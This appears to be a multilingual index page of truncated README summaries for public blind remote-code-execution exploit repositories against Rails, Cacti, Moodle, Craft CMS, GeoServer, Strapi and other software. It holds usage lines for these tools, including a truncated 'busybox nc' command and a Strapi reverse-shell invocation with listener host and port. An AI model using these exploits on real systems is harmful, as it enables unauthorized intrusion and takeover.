CVE-2020-8163

CVE-2020-8163 Entorno y exploit para CVE-2020-8163 Ejecución remota ciega de código de nombres locales proporcionados por el usuario en Rails 5.0.1 y 4.2.11.2 Crear el entorno 1. crear contenedor docker mapeando el puerto 4000 al 8001 sudo docker run --rm -it -p 8001:4000 ruby:2.3 bash 2...

CVE-2018-8097-PoC

CVE-2018-8097 POC for CVE-2018-8097 This script exploits CVE-2018-8097 and can retrieve files and contents using a time based blind RCE method. Usage python cve-2018-8097.py -h -u URL -c COMMAND -t TIME -id OBJECTID -d FILEPATH options: -h, --help show this help message and exit -u, --url URL...

CVE-2022-46169

CVE-2022-46169 Cacti Ejecución Remota de Código Ciega Pre-Autenticación Descargo de responsabilidad Esto es solo con fines educativos. No soy responsable de tus acciones. Úsalo bajo tu propio criterio. Explicación Este script realiza fuerza bruta en las variables necesarias para explotar esta...

Collabfiltrator

Collabfiltrator Exfiltre la ejecución remota de código ciego Blind RCE y la salida de inyección SQL a través de DNS usando Burp Collaborator. Versión: 4.0.1 Autores: Adam Logue Jared McLaren Frank Scarpella Ryan Griffin Autores IA: Claude 3.5 Sonnet ChatGPT 4o Requisitos: Burp Suite Professional...

CVE-2024-44623

CVE-2024-44623 在 SPX-GC 1.3.0 及以下版本中，用户可控的输入被传递到 childprocess 模块的 exec 函数而未经过任何清理，导致未经验证的盲目远程代码执行。 漏洞 在 /routes/routes-api.js 中，从 file 参数接收到的用户输入被传递到 childprocess 的 exec 函数，导致未经验证的盲目 RCE。 盲目 RCE Web 应用程序中的盲目远程代码执行（RCE）是指攻击者能够在服务器上执行任意代码，而无法立即获得反馈或直接知晓执行结果。此漏洞通常源于不当的用户输入处理，并可通过命令执行等机制加以利用。 参考： OWA...

CVE-2017-1000486

CVE-2017-1000486 Exploit de ejecución remota de código para PrimeFaces 5.x - Inyección de EL CVE-2017-1000486 Básicamente es el mismo exploit creado por Mogwailabs, pero modificado para funcionar en entornos cerrados sin acceso a internet o con tráfico saliente bloqueado por el firewall. Te da lo...

CVE-2018-1133-Exploit

CVE-2018-1133-Exploit Este repositorio contiene un script de explotación en Python para el exploit del profesor malvado de Moodle CVE-2018-1133. Uso usage: Moodle Evil Teacher Exploit -h -u URL -l LOGIN -p PASSWORD -c COMMAND -P PROXY options: -h, --help show this help message and exit -u URL,...

CVE-2026-25643

Exploit de RCE Ciega en Frigate NVR ≤ 0.16.3 CVE-2026-25643 PoC 📜 Descripción Este exploit en Python aprovecha una vulnerabilidad crítica de manipulación de configuración en las versiones de Frigate NVR hasta la 0.16.3 tanto en rutas autenticadas como no autenticadas. Al inyectar una transmisión...

CVE-2026-28695

CVE-2026-28695 Bypass de parche - RCE ciega en Craft CMS Ejecución remota de código ciega y autenticada en Craft CMS. Omite la restricción create - BaseObject añadida en la corrección de CVE-2026-28695 commit e31e508. Uso python3 exp.py -t http://target.htb -u user -p 'password' -c 'busybox nc...

CVE-2026-28695-craft-rce-bypass

CVE-2026-28695 bypass de parche — RCE autenticado en Craft CMS ≤ 5.9.8 element-search CVSS 3.x : 8.8 HIGH approx — verify CWE : CWE-502 Unsafe Object Instantiation + CWE-1336 SSTI origin Base : CVE-2026-28695 SSTI via create + Symfony Process Fix : advisory fix e31e508 restricts create to...

poc-CVE-2026-23489

POC CVE-2026-23489 Prueba de concepto para el plugin "Fields" de GLPI CVE-2026-23489 --cookie-value COOKIEVALUE GLPI session cookie value --php PHP Raw PHP to execute on the server end statements with ';', Dropdowns...

CVE-2025-59528-POC

CVE-2025-59528 - Ejecución Remota de Código en FlowiseAI CustomMCP CVSS 10.0 Crítico | RCE Ciego | FlowiseAI Flowise = 2.2.7-patch.1 y 3.0.6 Resumen Una vulnerabilidad crítica de ejecución remota de código en el nodo CustomMCP de FlowiseAI Flowise. La función convertToValidJSONString pasa la...

CVE-2026-1731

PoC de RCE ciega CVE-2026-1731 Versiones afectadas: Privileged Remote Access : = 24.3.4 Remote Support : = 25.3.1 Para más información, te recomiendo leer el análisis de attackerkb.com. Cómo compilar Necesitarás las siguientes herramientas para compilar este PoC: Git, rust 1. Clona mi repositorio...

CVE-2026-23744-POC

Descripción Esta vulnerabilidad existe porque MCPJam Inspector expone endpoints de API internos destinados a la depuración y el desarrollo. Estos endpoints aceptan entrada controlada por el usuario y la pasan directamente a la ejecución de procesos a nivel de sistema sin una validación o...

CVE-2024-36401

GeoServer 无回显 远程代码执行漏洞 CVE-2024-36401 options: -h, --help show this help message and exit -u URL, --url URL Target URL; Example: python .py -u http://ip:port -f FILE, --file FILE Target urllist; Example: python .py -f urllist.txt -c CMD, --cmd CMD Target command; Example: python .py -u...

SpringBreakPoC

SpringBreakPoC Necesitaba una herramienta para probar varios endpoints diferentes de la vulnerabilidad SpringBreak recién divulgada CVE-2017-8046 y no pude encontrar ninguna, así que armé esto. Uso \ \ / /| \ \ \ | \ /\ | /| || | | \ || /| | || /| || \ / / | | || | | | | \ | || | | / / | || | ||...

CVE-2022-25765

CVE-2022-25765 PoC for Blind RCE for CVE-2022-25765 在HTB - Precious Machine中测试...

sqlpad-rce-exploit-CVE-2022-0944

SQLPad RCE 漏洞利用 此仓库包含一个针对 SQLPad 中 CVE-2022-0944 的漏洞利用脚本，该漏洞允许通过 /api/test-connection 端点进行远程代码执行（RCE）。 概述 提供的脚本 exploit.py 演示了如何利用 SQLPad 中的 RCE 漏洞。该脚本向易受攻击的端点发送 payload，在目标服务器上执行命令。 功能特性 盲 RCE ：在目标服务器上执行命令，无需接收直接响应。 Netcat 监听器 ：需要在攻击者机器上设置 netcat 监听器以接收输出。 前提条件 Python 3.x requests 库（可通过 pip 安装）...

strapi_cms_3.0.0-beta.17.7

Strapi CMS CVE-2019-18818 和 19606 针对 Strapi CMS 3.0.0-beta.17.7 及更早版本的盲注远程代码执行，获取反弹 shell 开始上手 执行程序 使用 python3 python3 strapiexp.py -t http://strapi.hack/ -e [email protected] -p newpassword -lhost 127.0.0.1 -lport 9001 帮助 帮助提示 python3 strapiexp.py -h 免责声明...

CVE-2025-49619: Improper Neutralization of Special Elements Used in a Template Engine

Skyvern through 0.1.85 is vulnerable to server-side template injection SSTI in the Prompt field of workflow blocks such as the Navigation v2 Block. Improper sanitization of Jinja2 template input allows authenticated users to inject crafted expressions that are evaluated on the server, leading to...